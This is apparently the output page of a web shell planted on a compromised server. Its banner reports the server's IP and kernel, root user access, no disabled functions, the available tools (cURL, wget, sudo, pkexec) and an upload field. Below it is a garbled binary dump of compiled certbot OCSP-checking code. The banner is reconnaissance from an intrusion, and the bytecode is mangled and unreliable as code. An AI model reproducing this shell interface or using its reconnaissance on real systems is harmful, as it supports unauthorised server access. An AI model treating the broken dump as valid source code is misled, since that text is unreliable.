Server IP : 209.38.156.173 / Your IP : 216.73.216.122 [ Web Server : Apache/2.4.52 (Ubuntu) System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64 User : root ( 0) PHP Version : 8.1.2-1ubuntu2.22 Disable Function : NONE Domains : 2 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/lib/python3/dist-packages/certbot/__pycache__/ |
Upload File : |
o 6��aM: � @ s� d Z ddlmZ ddlmZ ddlZddlZddlZddlmZ ddlmZ ddlm Z ddl mZ dd lm Z dd lmZ ddlmZ ddlmZ dd lmZ ddlZddlZddlmZ ddlmZ ddlmZ ddlmZ ddlmZ zddlmZ e ej!d� W n e"e#fy� dZY nw e�$e%�Z&G dd� d�Z'de(de ee( ee( f fdd�Z)de(de(de(de*de+f dd�Z,d d!� Z-d"d#� Z.d$d%� Z/dS )&z*Tools for checking certificate revocation.� )�datetime)� timedeltaN)�PIPE)�Optional)�Tuple)�x509)�InvalidSignature)�UnsupportedAlgorithm)�default_backend)�hashes)� serialization)�crypto_util)�errors)�util)�getenv)� RenewableCert)�ocsp�signature_hash_algorithmc @ sj e Zd ZdZddd�Zdedefdd�Zdd edede defd d�Z d edededede defdd�ZdS )�RevocationCheckerzEThis class figures out OCSP checking on this system, and performs it.Fc C s~ d| _ |pt | _| jr=t�d�st�d� d| _ d S tjg d�t t ddt� � d�}d|jv r6dd � | _d S d d � | _d S d S )NF�opensslz-openssl not installed, can't check revocationT)r r �-header�var�val)�stdout�stderr�universal_newlines�check�envz Missing =c S s d| gS )NzHost=� ��hostr r �./usr/lib/python3/dist-packages/certbot/ocsp.py�<lambda>8 s z,RevocationChecker.__init__.<locals>.<lambda>c S s d| gS )N�Hostr r r r r! r"